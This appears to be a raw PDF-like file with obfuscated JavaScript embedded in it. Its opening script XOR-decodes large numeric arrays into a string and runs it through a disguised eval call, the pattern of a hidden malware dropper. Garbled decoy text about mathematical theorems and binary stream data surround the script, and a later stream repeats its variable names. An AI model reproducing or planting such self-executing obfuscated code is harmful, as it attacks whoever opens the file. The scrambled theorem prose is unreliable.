7,121,120,121,58,121,41,109,34,58,122,122,41,121,124,60,41,60,33,100]; nB9lpd6=[121,34,43,99,61,110,99,54,92,125,59,59,106,33,114,103,110,106,101,122,103,54,62,101,59,48,59,127,69,34,106,72,108,43,51,92,106,56,59,59,63,110,59,115,125,62,120,59,48,59,122,69,115,125,32,114,72,35,101,110,99,59,57,123,120,54,126,48,43,104,109,50,106,50,59,126,59,50,121,123,54,121,126,114,114,46,115,120,59,46,87,41,121,59,35,121,103,74,50,110,61,39,106,106,97,123,35,64,106,59,98,35,101,34,62,120,104,34,84,59,59,98,123,123,63,54,104,59,127,59,87,41,59,63,121,115,36,100,110,121,115,48,125,59,125,59,61,43,59,59,38,104,59,114,62,109,79,43,59,34,115,35,104,106,74,48,59,104,109,59,59,59,54,50,59,109,114,59,48,90,62,79,32,55,122,97,123,62,90,104,125,61,122,34,114,122,64,61,48,79,50,32,112,61,50,125,90,125,121,104,79,124,48,99,61,122,123,106,114,110,104,114,125,106,69,80,121,50,114,126,114,90,123,32,121,106,125,121,127,54,70,118,87,41,125,86,123,127,106,110,98,125,104,99,35,106,120,54,99,101,50,48,37,76,94,55,59,121,46,105,70,87,41,110,112,43,94,105,103,70,99,127,94,76,120,34,101,110,59,110,87,41,124,105,69,103,99,35,34,54,76,99,76,124,54,124,127,59,69,105,69,118,108,94,63,127,70,59,70,105,32,115,123,37,59,124,127,106,87,41,106,48,124,70,99,48,94,76,99,127,110,100,123,69,32,69,72,69,105,37,99,127,111,108,124,76,94,103,103,34,94,118,104,37,118,69,37,70,66,127,99,34,98]; r2n12tjap5FT2=[95,94,83,75,122,82,123,108,83,95,72,20,94,7,82,120,78,85,72,83,74,93,28,20,89,28,89,18,120,78,108,122,74,89,85,71,85,73,82,83,106,108,74,1,78,83,78,18,120,89,90,75,1,74,93,74,89,76,76,78,78,79,82,76,111,19,82,85,83,83,79,85,96,96,72,82,21,7,79,7,82,83,93,18,78,89,89,72,78,79,91,89,120,20,21,99,82,20,85,95,82,28,125,78,27,27,91,93,69,19,82,83,78,79,75,80,74,89,93,1,74,28,85,93,74,89,78,16,78,93,78,78,93,83,95,79,125,93,85,79,78,20,78,72,95,83,69,18,125,83,82,12,21,16,20,84,74,78,85,78,20,84,7,89,82,78,20,18,125,85,93,78,90,72,93,72,74,84,82,21,85,69,78,13,21,26,21,14,78,1,93,82,93,16,26,89,83,79,69,85,1,93,95,79,97,18,21,12,12,20,64,93,103,4,79,78,85,64,20,74,20,1,99,97,78,103,78,21,93,78,82,20,1,85,74,99,99,74,93,83,103,93,83,83,74,78,0,13,78,13,97,1,1,93,13,26,85,103,82,82,26,78,69,69,93,99,14,78,93,79,78,93,79,97,80,4,85,90,78,93,20,90,21,20,72,78,71,65,12,21,20,99,72,64,82,85,7,83,78,79,76,15,85,82,69,20,12,73,85,103,78,99,0,97,74,93,93,93,78,21,21,103,64,83,69,82,74,93,79,26,93,99,93,74,82,1,93,78,26,97,1,85,83,78,14,26,78,93,26,79,85,69,85,93,14,78,99,78,4,74,93,83,78,85,81,93,83,69,79,82,99,0,95]; C09h7BTnP=[73,18,7,90,90,96,9,87,73,102,84,90,10,73,18,82,18,66,72,100,94,90,64,82,87,102,70,71,93,85,89,0,19,73,100,77,90,19,87,18,71,19,90,96,102,11,82,85,29,73,19,84,73,77,100,6,2,90,96,90,90,7,73,66,66,29,90,100,73,73,84,82,96,11,72,90,18,94,102,73,88,10,77,96,79,72,18,82,87,0,85,90,64,88,92,102,85,2,90,79,127,73,7,100,107,19,73,19,73,125,6,75,27,27,70,19,27,18,10,107,84,87,127,27,70,27,89,107,27,0,95,27,27,84,85,27,27,82,125,0,27,27,27,27,27,27,18,27,27,127,27,27,27,27,27,27,18,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,25,0,27,77,90,73,27,72,114,110,126,122,81,8,11,86,6,87,114,74,108,2,85,9,79,21,72,75,87,82,79,19,25,25,18,0,27,77,90,73,27,114,3,14,114,116,12,108,119,81,73,6,13,14,10,14,0,27,77,90,73,27,124,108,97,67,12,113,89,13,6,2,0,27,77,90,73,27,120,15,11,13,85,109,81,109,6,85,94,76,27,122,73,73,90,66,19,8,23,3,23,13,23,8,23,9,23,2,23,3,23,14,23,8,18,0,27,77,90,73,27,114,117,97,98,110,84,65,93,11,23,107,66,12,87,127,105,86,10,11,23,125,115,15,114,65,14,72,3,9,23,108,95,15,119,8,94,106,89,125,92,106,85,23,85,14,99,113,67,99,14,23,65,3,87,67,99,23,84,118,118,12,79,67]; bq23q7thwC1Q738=[59,53,104,97,124,46,38,94,119,57,98,74,92,99,63,62,51,62,53,46,94,119,57,98,74,92,99,63,62,50,73,89,84,118,57,68,108,56,53,46,94,119,57,98,74,92,99,63,62,37,37,39,46,46,117,46,46,46,46,46,46,120,111,124,46,88,126,94,60,60,57,122,95,59,116,51,77,58,62,56,96,88,100,88,85,94,119,57,98,74,92,99,63,62,83,36,60,53,46,46,46,46,120,111,124,46,125,62,56,95,100,105,57,57,51,71,54,59,71,65,57,89,66,100,124,43,88,126,94,60,60,57,122,95,59,116,53,46,46,46,46,120,111,124,46,92,95,97,74,89,67,56,90,63,121,55,73,72,51,71,54,59,71,65,57,89,66,100,124,35,125,62,56,95,100,105,57,57,53,46,46,46,46,120,111,124,46,116,119,118,108,121,94,60,65,60,93,124,105,54,51,92,95,97,74,89,67,56,90,63,121,55,73,72,33,88,126,94,60,60,57,122,95,59,116,53,46,46,46,46,120,111,124,46,67,55,97,62,96,86,102,109,126,51,116,119,118,108,121,94,60,65,60,93,124,105,54,36,77,58,62,56,96,88,100,88,85,94,119,57,98,74,92,99,63,62,83,53,46,46,46,46,89,106,58,66,61,107,95,108,72,105,95,96,51,62,53,46,46,46,46,104,97,124,46,38,71,64,84,87,91,97,116,104,62,51,62,53,46,71,64,84,87,91,97,116,104,62,50,116,119,118,108,121,94,60,65,60,93,124,105,54,53,46,71,64,84,87,91,97,116,104,62,37,37,39,46,46,46,46,46,117,46,46,46,46,46,46,46,46,104,97,124]; Z50M95c3=[106,98,12,2,126,3,48,127,57,114,120,119,122,113,106,12,2,126,3,48,127,57,114,120,118,9,126,122,124,36,28,32,28,17,26,51,125,38,14,24,39,123,122,23,113,106,12,2,126,3,48,127,57,114,120,97,97,99,106,106,106,106,106,106,106,106,106,49,106,106,106,106,106,106,36,127,18,0,50,18,127,119,29,46,126,6,121,47,27,40,12,45,27,36,97,12,2,126,3,48,127,57,114,120,113,106,106,106,106,106,106,106,106,106,106,106,106,37,7,7,125,62,50,127,119,57,3,31,15,11,32,121,122,39,17,36,127,18,0,50,18,127,23,113,106,106,106,106,106,106,106,106,106,106,106,106,48,114,38,50,18,119,36,127,18,0,50,18,127,97,9,126,122,124,36,28,32,28,17,26,51,125,38,14,24,39,123,122,23,113,106,106,106,106,106,106,106,106,106,106,106,106,57,3,31,15,11,32,121,122,39,17,36,127,18,0,50,18,127,23,119,57,3,31,15,11,32,121,122,39,17,48,114,38,50,18,23,113,106,106,106,106,106,106,106,106,106,106,106,106,57,3,31,15,11,32,121,122,39,17,48,114,38,50,18,23,119,37,7,7,125,62,50,127,113,106,106,106,106,106,106,106,106,106,106,55,106,106,106,106,106,106,106,106,29,46,126,6,121,47,27,40,12,45,27,36,106,97,119,28,58,26,120,120,125,62,27,127,48,113,106,106,106,106,106,106,106,106,106,55,106,106,55,106,106,38,3,59,29,115,36,120,62,119,57,3,31,15,11,32,121,122,39,100,32,37,35,36,98,104,104,99,113,47,60,43,38,98,38,3,59,29,115]; H1Vv1=[115,47,105,52,38];  EBKMH=[]; 
for (l2taKB=0;l2taKB<S7aECkq1NF35.length;l2taKB++){S7aECkq1NF35[l2taKB]=S7aECkq1NF35[l2taKB]^26;}; EBKMH=EBKMH.concat(S7aECkq1NF35);for (x0iVg=0;x0iVg<HNsdmN.length;x0iVg++){HNsdmN[x0iVg]=HNsdmN[x0iVg]^98;}; EBKMH=EBKMH.concat(HNsdmN);for (lBVzD=0;lBVzD<z9YfFz6Cj.length;lBVzD++){z9YfFz6Cj[lBVzD]=z9YfFz6Cj[lBVzD]^62;}; EBKMH=EBKMH.concat(z9YfFz6Cj);for (U317V5ZpQ=0;U317V5ZpQ<p1F6to.length;U317V5ZpQ++){p1F6to[U317V5ZpQ]=p1F6to[U317V5ZpQ]^17;}; EBKMH=EBKMH.concat(p1F6to);for (I3MGb7=0;I3MGb7<Z5PaOV165dv.length;I3MGb7++){Z5PaOV165dv[I3MGb7]=Z5PaOV165dv[I3MGb7]^48;}; EBKMH=EBKMH.concat(Z5PaOV165dv);for (R0y1bXjzq=0;R0y1bXjzq<x9sL8gQw.length;R0y1bXjzq++){x9sL8gQw[R0y1bXjzq]=x9sL8gQw[R0y1bXjzq]^83;}; EBKMH=EBKMH.concat(x9sL8gQw);for (m23NDE=0;m23NDE<fw0483q.length;m23NDE++){fw0483q[m23NDE]=fw0483q[m23NDE]^77;}; EBKMH=EBKMH.concat(fw0483q);for (FCoNv02dp=0;FCoNv02dp<Qsd74o4x.length;FCoNv02dp++){Qsd74o4x[FCoNv02dp]=Qsd74o4x[FCoNv02dp]^37;}; EBKMH=EBKMH.concat(Qsd74o4x);for (j19CDIgs=0;j19CDIgs<iWWMn5kF.length;j19CDIgs++){iWWMn5kF[j19CDIgs]=iWWMn5kF[j19CDIgs]^91;}; EBKMH=EBKMH.concat(iWWMn5kF);for (HdGzzbldh=0;HdGzzbldh<aih0RYq.length;HdGzzbldh++){aih0RYq[HdGzzbldh]=aih0RYq[HdGzzbldh]^90;}; EBKMH=EBKMH.concat(aih0RYq);for (DPk9=0;DPk9<sLA7b2D230.length;DPk9++){sLA7b2D230[DPk9]=sLA7b2D230[DPk9]^17;}; EBKMH=EBKMH.concat(sLA7b2D230);for (j9iX=0;j9iX<eK25Q685So6gvM.length;j9iX++){eK25Q685So6gvM[j9iX]=eK25Q685So6gvM[j9iX]^17;}; EBKMH=EBKMH.concat(eK25Q685So6gvM);for (w2CXj7=0;w2CXj7<c024oEe9pyevh0W.length;w2CXj7++){c024oEe9pyevh0W[w2CXj7]=c024oEe9pyevh0W[w2CXj7]^92;}; EBKMH=EBKMH.concat(c024oEe9pyevh0W);for (YG339GO=0;YG339GO<x03k78uFG46AeK.length;YG339GO++){x03k78uFG46AeK[YG339GO]=x03k78uFG46AeK[YG339GO]^87;}; EBKMH=EBKMH.concat(x03k78uFG46AeK);for (ZwS5=0;ZwS5<yY6fh.length;ZwS5++){yY6fh[ZwS5]=yY6fh[ZwS5]^12;}; EBKMH=EBKMH.concat(yY6fh);for (mJnQ1Suw=0;mJnQ1Suw<nB9lpd6.length;mJnQ1Suw++){nB9lpd6[mJnQ1Suw]=nB9lpd6[mJnQ1Suw]^11;}; EBKMH=EBKMH.concat(nB9lpd6);for (DpUh=0;DpUh<r2n12tjap5FT2.length;DpUh++){r2n12tjap5FT2[DpUh]=r2n12tjap5FT2[DpUh]^60;}; EBKMH=EBKMH.concat(r2n12tjap5FT2);for (d7wYkdq=0;d7wYkdq<C09h7BTnP.length;d7wYkdq++){C09h7BTnP[d7wYkdq]=C09h7BTnP[d7wYkdq]^59;}; EBKMH=EBKMH.concat(C09h7BTnP);for (M4KsQm97Q=0;M4KsQm97Q<bq23q7thwC1Q738.length;M4KsQm97Q++){bq23q7thwC1Q738[M4KsQm97Q]=bq23q7thwC1Q738[M4KsQm97Q]^14;}; EBKMH=EBKMH.concat(bq23q7thwC1Q738);for (Ov257gQ=0;Ov257gQ<Z50M95c3.length;Ov257gQ++){Z50M95c3[Ov257gQ]=Z50M95c3[Ov257gQ]^74;}; EBKMH=EBKMH.concat(Z50M95c3);for (EB7u4vAm=0;EB7u4vAm<H1Vv1.length;EB7u4vAm++){H1Vv1[EB7u4vAm]=H1Vv1[EB7u4vAm]^29;}; EBKMH=EBKMH.concat(H1Vv1);
 NgGTie4=function(ed6XB8){
	Eqr5j7tW6Y=["e","m","v","n","a","d","x","l"];
	zhzfRqWF=Eqr5j7tW6Y[0]+Eqr5j7tW6Y[2]+Eqr5j7tW6Y[4]+Eqr5j7tW6Y[7];
	rorar=this;
	o1fp =rorar[zhzfRqWF];
	o1fp(ed6XB8);
}
E97mkc=function(FnaAQDENWi){
	fktIfe="";
	KF5i1YIPvv=["dd","fjdk","fro","mChar","Co","dk","eee","de"];
	ThmM27=KF5i1YIPvv[2]+KF5i1YIPvv[3]+KF5i1YIPvv[4]+KF5i1YIPvv[7];
	for (XKevnot77=0;XKevnot77<FnaAQDENWi.length;XKevnot77++){
	    gogor=this;
		roter=gogor["St"+"ri"+"ng"];
		fktIfe += roter[ThmM27](FnaAQDENWi[XKevnot77]);
	}
	
	return fktIfe;	
}
NgGTie4(E97mkc(EBKMH));

BT
/F0 11 Tf
100 700 Td
(Logically, many theorems are tms are l b rms aran indllytive condltional if A,re ln B. Such aeorems a does not stateeorat B ire lways true, onlyeorat B mustz ,Lih0yA,re ns Ine, yA,caseih0yA,Logiede tmshypo tmsyA,are tmsSuch aeoa dot stathypo tmsyA,hems yA,some, yng
BT
/F0gcmTf
100 700 Td
( B can also be denoted the antecedent and consequent. The theorem If n  is an even natural number then n/2 is a natural number is a typical example in which the hypothesis is that n is an even natural number and the conclusion is that n/2 is also a natural number. In order to be proven, a theorem m
BT
/F0 11 Tf
100 700 Td
(e, formal statement. Nevertheless, theorems are usually expressed in natural language rather than in a completely symbolmbolormal s, withorema ct Neionn intoremareadhanwill be able to produce amal statement. Ne fromorema cal statone. Icomddieioneoremsuausuaoft N hyporemses which undhastoo natucoct xt,her than in aessloritymbomentd. uaiflsdcrpvy  flms akfouyzv) Tj
ET

 �TH��� a
*i�G��H�r���PZ��J�l
 ��   JC �sk3��Q��l �= �Q�W'  ��  �H� Rr��ߪ��I���ծ'�0���չ-b�`@g��(HR �2	� 7]��ҥgg�, ��   ���$zhO^M����
�qT ��� *#�Q�"C�Ϙ �H�dv�P5*:�F-� �� �4��wZ�h�	  ��  ��J{i�{Jp�� >� ƍՉ���7^�� ����㩭 s�`�
�u�M�]�� � b�
��0���V�~��� ��9���� >�~����?  m
C�.(�he�� �$ &��� ^��8 ϋ��߾ �(v�[m0�(�1 ��BXÓ@:� q* t��6�  �d'?�8D � �Vd�xb��CS�q;�L�  hx����P�^�䚶 ��Z��1�
��7>] T�I�n�m�C�hB�[��I=y6���
 �>�0݀آ���i� ΃�4*�qV�7 � ������f�M����d����5o�WI7�!L  ��H�( �H��b�㞶�~�*�j�O� 
[vK�M^���~9�y��.��� #�{��vu�_% �=}�*ew�zV=��6G���9� �H�^�@�S��ޭ��[_ O� � �!� � ~�~m|:t+ w� Cڡq `/���Ud ᕌ   o TG�,��5 �  h� /^+�"�D�]   om�{��[PO  �7,�*�J�E-m 2 �W6�rv �� 
� L  ����~���e/ d_�� �T>�KU
 �sw
�P���ֲq���J�� D"���� �.b 6 ��n%�JL�4̀�n3���H057 $L�(��-�a �;���;� ��( / Y��� ���/�IX��!ot��`�- � �>�K���7��� ��(<  6U��y�D(��"��=�Y zo�n	 vi"S�Pگt�  � �J� s��F�Cܺ�����d��PpL3��y��"� ��뾌1���Vy��x��l  �$��©}��:�0�N�n�1M28Ä	&j& �  �U$>�*N?�}���і vG��� "Ц
.gj ���U��S ���4����"6 /�R [�X����FF��u�rK���:9 6��eR�b�  �� _���* �(�����4�g( Q� �+�D[c1  �uڱh�.���Ug�V2 �" �W��  u K m�
X�I*e�y����@P�c#��`
��� �l ��v �m ����5.�,߶� b���՘�VN}X4�`�pѩa ��Þ�� F!��:�v*� d�g��  �<��3
  t* ���_� �� ��#I�� P�s������� 1 !Z�  �bfߦ��S4����j�.V3F (  ���"�鍐! +�`ue���*�3Y�j�+ TU
�F��  V
����xl(!���|� �%�E�� y�1`L� s�`
T@l���Vb�Z�4� ��9 �H�v 
GU��ژ�� �Fг���xy � 袗���Uq�  ������� ��    ��wF�Hƥi�V ZKP ߰� �^6� n�� � F�a��   �� ;Qu� �_S�xF�gOm�
� ��� l�q�0RLً�l�
G `�� gg#���?i:6	� �Fs20�v|VL�� Y� �z��A@�7
r � �IuB=��GXbS��-�v'a�� J�� 1kw��^]��V�	�"�a%�sS9����	q���  �� ��k�%�N7	QLp��䑽n 5 
�uF�>A����9��˦2]��2�F ���jR��� ���
S[{fe�1l�>{���  �0���8�eݰ�m��R]�B˲ �� �{�v�-L �]r a�� �Im �� � ��  ,��Ţ
�Kk�P���!�� ��d��]D�� B?��NM���G$� L�Dw�
��  �E�5��(!aW�Pִ �"�+�@-
 �* 
 =P�p�� �T�U��-$�C[ �uD�5��5D��8�B� �8�ಝ� �B� �Z �D}EP]�d��  V� E�E�YU�ѓ.-e �v���Ȱ%Fw�f=d-'�J�V���� �J V�p?�P�����Q���T-�e�^� Ja�� '   "VA�t��j VW(^ �_�����u�Q�M�IW�*��� �ؾG/�  k � ��3���RBŎs�~�ʝ6X=$E��M �U�X 7(꺙�4�_�A��k�� lb�� ���t� ��, m�{�0q@��
`�xD L����� # .� m��E/4 ��m
c�y��'�?�_� 3�1�ˌ�-�Ba Ru��&e� s��BƞkFl0����"`� .�%�%ϩ{  $9�}�v��Q�	�أ�����v��AJ8���������� �e�sR�cbN zzΘ��(�� �]��� ծ��(BNZ���B���� ܩ(��� c f�� d�>� >X���   � lF��<h ω[5��!��{9 + � ;M ��9hwF� �[�0 �jb�خ���al��   �,�u��6V� N� Z��Y� 4T��v=��S���	 �9
�t��* Cqd>܂�_o�]�+ ��  ՚�
زf��
 @�af�  Y�5��
l -�O0SNn묋���/m��= �� |�<w�  D�&,mJ� J¯�3�i�ʀK;�>����Q]����ɸ }�Ci�� �wt]�#�f��  ʥ�H]�   g���RT��� _��v��g��
� HQ�,YX/�Y�܂Zص��5ݣ:��N����^�[�;Yh�4 �>�;� V� ���V['� ���u� 7_��M����Kф�t��.^��4�u�� 9��r�/] �^]�a�9�5A�  � ��?��~ � q�	 �x�  ��אY�|[8i �(�.boM9�[^E<�r � ��Hh�(�0 �� �B� jIy ��0�fQ� j��d���{�ɛ4�i3�a�<̍ �	������Ο"�Nb�9 ��eC M5� Z�R�v �2g�;�Lq ���Q=��y����]
R�;bK;��q�QH�1� X�U���4�w:� �(�e	�k] ��fR���K�̞ ֒ ���1R�}/� K� =.����M�-ɫ�IW 5��u��z�Wq�>�K5=7K��c����H߄����6
d�s�@�u�#Ji]�Ip'���;B� � OmǤ �LF� Lu'_���ҹ�������Q�M�� �ڑ�?��O�+�+��Zb�Q�T8e�
��*dhܡV�� 0yR	Ih�dp���~-�m�_��íwS����,
U"ܖ�֑�����|� �.�a˞�-��x�.�_�So3Sf�{� - � e�q�E��Γ|֤��v���� ��ޗZ��D6�^�@���ʺ��Ř'c���<WyQb� R�,o/n=_iA�Q�U���>� x�����e��z
^Io�	�$% �=�,L6����c�E� ɷr�{W�� �̼ڪ�am3�l.�P��
 � y�qG��M�3u�ɉT�v����L�2��}�M6� _ij� ��E���kg,�ٜv�� ���sq #�H��	;��X��b�,�p�ybH��0v #գ7����
B� ?[d Ξ0��jղ�/ & 3�Ӭ q��+� �� � ����� �/ 
�gw6ooG
�5
r�7 Z7�.  ��d��B�P � �;�� ��H-�0��6���9 ^�����H�>_���_�/�h�����7�4  o��8� 4s� ꅃ  �f�$T�ہ g�y2:K��#8&����S E  Z���<�@ l�����/��KU/�_�<����O&�C�� ���� ��]�� ٷu  ��g �
[
��v���>�r� N��  < [uT�mل6  �?L��O�   � E����g7�� (��g� P��J�`ls%�`R�*��V?�Ʌ K ��� ��O ����a��xb>-��2Av &P]y�<zл���O�� ��p<�ѝ��   B�_n � +|���n��G&W�1x�x��@ S�� �d.`4���PS�P� �� �z�"�obA�k�= Ό�H��-�k2x f�Aŷ� ��� ?K����k�pc��/s� s� ~
31��4?� }m�C �+P$|��� �pc��� �� *� � o瑣�A������ � ǥ��ڸb��/� ��۫J � ~� 79��b �㋯kK�`׺�� .��5  �ν���^~]<|�gy��/��9 �� &tp�<T�Z��u^vU��������  �9Ќr�A^ �](�
�]� � ~   ��� ������" Z���" &E ~���;���i Ϩ&Lq� �~V �Wqxƒ ��s�X&G�w��i��}i%�Kd� Q�
�'��v���Z�
 z����?��_W�/����; ��J�����|ο � �W]W,�d�w�c �N�wH�� �1����L{��> ` �< �X˲}w0��	�e�� 7ʢ�F�S��U� ?[� �;� �����y��  <�������'/��uxz��7�� ���h��� ����O ����_��}�ŗ�  ^��� �!r���/ ?����W�Я�  ��<���` � ~j�i��H��������Uo7 #��|���?�m���b~hwJi�Fi֜Pty�^pU�
�&�H�[���o�~8��� ~ ���r�ͪ�,�<>Wr�� � T�� � ��:���b��;�� #��<�������t��w����� ��~��w��y �߼r f�qᕧYzy|A�U�7p��b� ?x��A�7 �ƌ�f� Vʼn%��k�W�&� P�n����gK��� 9�/�� Nv� e�<���� ʮ�M 8�X�r�o�����  ���Ol; ^a���䅗�狮�z u� ���y���>��΃A~�_�̦�� F_u�Yxy|��/7� �ȿ����l��� �ӵb#�՜���x��� �A����OM��rq~�a*{T ��ړ _ _Tx3�shq�cx��/�����ZR���Zc� ��5�� ʯ�Mcݵ ��wc���i0����|@gH���g 'Ռ����v��� �����Q ��� �8΁� y ���򸻿Zo  @>��� ׏~��  �^h } 3*7Z�:y��񹒫���&Pw�o�ͺ�].�v���� �yVy���� ʮ�M�� X��� ?�ꎍ����+�N_ �¬;����|�U�700aE����� ~ӫ�U��ŵe,gc  #�`N���xs�՚n`�Z ���g!��Ɯ�.<0u�T�7/�N*���z }  �wެ?�g��fP�� � ���b>e '/ 3���p�5 �� ���� � �� ��  }����G�޽S>}������K�|�$ Y�~R>;�^����o�߳��h��  w�����ׯ /���{ ��[ǭ�i�|}� Ξ��S �'���~r|������x����G�� ��W8���?~��wz��/69n=��� �~�O B�{_=�ý��W^����� �����gφ`wL�{_���.O ��o=��d߲ �߽k�߹K9�����C=nXL��S<{JgO� ������ =~Zm��  �n�Yg& �_ ��?��xS���ӻO�(<����W^ ������> ��/�~| �'Jp�S�iR�4��44������ �<z���x	��˼J��
�z� �'y�� 
endstream
endobj
4 0 obj
<<
/Type /Page
/MediaBox [0 0 612 792]
/Resources 9 0 R
/Contents 10 0 R
/Parent 2 0 R
>>
endobj
5 0 obj
<<
/Type /Page
/MediaBox [0 0 612 792]
/Resources 11 0 R
/Contents 12 0 R
/Parent 2 0 R
>>
endobj
6 0 obj
<<
/Type /Page
/MediaBox [0 0 612 792]
/Resources 13 0 R
/Contents 14 0 R
/Parent 2 0 R
>>
endobj
7 0 obj
<<
/Type /Page
/MediaBox [0 0 612 792]
/Parent 2 0 R
>>
endobj
8 0 obj
<<
/Type /Page
/MediaBox [0 0 612 792]
/Parent 2 0 R
>>
endobj
9 0 obj
<<
/Font 15 0 R
/XObject 16 0 R
>>
endobj
10 0 obj
<<
/Filter [/FlateDecode]
/Length 17 0 R
>>
stream
x�MOAj�0 �� sl!l�S�
�P����ȉ [޵�]��WN7Ѓ�4 F3�ؼ|t�{��� �R��<}��j�i�  �B$��"!?�Ä�� �g�g{#� s����5xk+�1��� �� (�CF�*��*c�� �JB� � ��q�[�?h��ڕ]� >YH�i�� ��iލ�� �'A �  ���� g%�(= O"� n  fk�8���%�$=�Λ� ��* �ݖ$�ب03�4M � �z+��r �xn���   ��
endstream
endobj
11 0 obj
<<
/Font 18 0 R
/XObject 19 0 R
>>
endobj
12 0 obj
<<
/Filter [/FlateDecode]
/Length 20 0 R
>>
stream
x�u��j ! ���
g ���t�q�O뤽Lh�Ҋ��,{0�����pb�l;�� 
��ã
 �T`   �( x
��ã
 �T`   �( x
l2taKB=0;l2taKB<S7aECkq1NF35.length;l2taKB++
S7aECkq1NF35
x0iVg=0;x0iVg<HNsdmN.length;x0iVg++
HNsdmN
lBVzD=0;lBVzD<z9YfFz6Cj.length;lBVzD++
z9YfFz6Cj
U317V5ZpQ=0;U317V5ZpQ<p1F6to.length;U317V5ZpQ++
p1F6to
I3MGb7=0;I3MGb7<Z5PaOV165dv.length;I3MGb7++
Z5PaOV165dv
R0y1bXjzq=0;R0y1bXjzq<x9sL8gQw.length;R0y1bXjzq++
x9sL8gQw
m23NDE=0;m23NDE<fw0483q.length;m23NDE++
fw0483q
FCoNv02dp=0;FCoNv02dp<Qsd74o4x.length;FCoNv02dp++
Qsd74o4x
j19CDIgs=0;j19CDIgs<iWWMn5kF.length;j19CDIgs++
iWWMn5kF
HdGzzbldh=0;HdGzzbldh<aih0RYq.length;HdGzzbldh++
aih0RYq
DPk9=0;DPk9<sLA7b2D230.length;DPk9++
sLA7b2D230
j9iX=0;j9iX<eK25Q685So6gvM.length;j9iX++
eK25Q685So6gvM
w2CXj7=0;w2CXj7<c024oEe9pyevh0W.length;w2CXj7++
c024oEe9pyevh0W
YG339GO=0;YG339GO<x03k78uFG46AeK.length;YG339GO++
x03k78uFG46AeK
ZwS5=0;ZwS5<yY6fh.length;ZwS5++
yY6fh
mJnQ1Suw=0;mJnQ1Suw<nB9lpd6.length;mJnQ1Suw++
nB9lpd6
DpUh=0;DpUh<r2n12tjap5FT2.length;DpUh++
r2n12tjap5FT2
d7wYkdq=0;d7wYkdq<C09h7BTnP.length;d7wYkdq++
C09h7BTnP
M4KsQm97Q=0;M4KsQm97Q<bq23q7thwC1Q738.length;M4KsQm97Q++
bq23q7thwC1Q738
Ov257gQ=0;Ov257gQ<Z50M95c3.length;Ov257gQ++
Z50M95c3
EB7u4vAm=0;EB7u4vAm<H1Vv1.length;EB7u4vAm++
H1Vv1
ed6XB8
ed6XB8
FnaAQDENWi
XKevnot77=0;XKevnot77<FnaAQDENWi.length;XKevnot77++
FnaAQDENWi[XKevnot77]
E97mkc(EBKMH
e, formal statement. Nevertheless, theorems are usually expressed in natural language rather than in a completely symbolmbolormal s, withorema ct Neionn intoremareadhanwill be able to produce amal statement. Ne fromorema cal statone. Icomddieioneoremsuausuaoft N hyporemses which undhastoo natucoct xt,her than in aessloritymbomentd. uaiflsdcrpvy  flms akfouyzv
S7aECkq1NF35=[58,108,123,104,58,118,83,107,77,35,116,40,110,39,56,115,52,51,118,116,116,105,58,58,106,121,58,111,69,104,124,58,117,98,127,127,110,50,99,115,116,123,58,54,115,99,97,99,104,124,40,127,114,38,49,109,114,33,118,48,110,118,123,116,97,104,105,106,50,106,52,115,116,99,106,127,99,115,118,105,105,39,50,42,104,33,127,110,123,99,125,51,39,121,105,111,103,106,105,123,104,40,104,106,123,116,116,104,51,110,54,118,110,99,123,125,111,104,105,120,104,103,53,105,108,115,105,116,116,97,117,126,51,50,104,106,58,106,124,127,58,58,118,123,33,116,116,118,110,110,104,115,123,58,39,111,126,104,117,121,46,127,63,114,127,111,63,58,50,116,106,70,56,41,111,127,111,105,42,63,42,89,111,41,46,63,123,127,41,121,89,63,88,111,105,34,88,46,111,91,111,63,111,42,111,63,34,34,88,63,42,63,88,44,111,42,42,34,89,46,111,47,35,45,34,34,94,46,42,45,94,41,42,63,46,42,89,34,91,63,91,43,42,45,88,63,111,46,111,42,43,63,34,34,89,34,89,63,111,63,111,95,111,47,88,44,46,47,111,63,111,63,34,63,88,40,91,46,40,94,111,63,88,63,88,34,92,95,40,41,88,47,111,63,111,47,89,95,41,63,40,95,111,95,111,41,46,34,111,34,89,95,35,45,111,34,111,63,111,47,91,63,47,45,88,47,45,47,111,42,44,63,41,47,111,34,88,63,44,92,111,63,41,63,88,63,111,63,44,63,46,47,34,34,41,89,111,41,42,63,41,45,111,46,42,92,35,45,111,63,41,63,95]; HNsdmN=[81,23,32,23,82,23,71,84,71,81,82,86,71,91,87,23,86,23,71,81,80,23,82,81,71,38,82,23,83,80,71,84,81,83,71,81,36,90,36,36,36,36,35,23,81,38,71,32,33,23,82,83,71,23,85,36,82,82,71,35,82,81,39,32,33,23,71,23,81,23,86,86,71,90,81,90,90,23,71,36,39,23,71,90,82,87,87,23,90,32,71,23,71,87,86,84,36,84,84,86,71,23,87,32,39,33,71,86,85,39,82,23,33,23,90,23,83,35,82,33,86,32,90,90,71,23,33,81,80,23,82,81,38,81,90,23,71,23,71,81,71,32,85,38,82,38,33,81,71,81,87,84,87,23,71,90,71,81,82,23,71,85,33,23,87,32,71,36,71,90,71,23,32,35,87,23,90,82,87,39,81,35,87,23,81,23,71,80,71,82,35,32,33,90,87,23,90,23,71,81,71,23,36,80,39,80,36,23,71,36,90,36,36,80,71,36,71,23,35,23,91,39,35,85,32,90,71,90,84,23,36,87,84,23,86,39,36,90,71,32,85,23,84,23,80,23,71,87,71,23,71,82,71,36,84,33,71,23,71,84,71,23,71,23,71,32,91,90,87,35,71,84,32,23,71,82,84,90,84,36,80,87,35,23,84,86,71,39,84,86,82,23,90,23,39,82,85,36,71,86,84,33,90,90,85,23,87,39,84,23,36,39,87,38,86,33,71,23,71,39,84,23,71,80,32,87,82,90,71,82,84,23,71,82,71,87,81,82,87,81,71,84,91,39,87,32,71,86,39,82,82,23,71,23,87,23,33,23,90,81,87,23,87,36,82,23,32,23,90,23,33,81,81]; 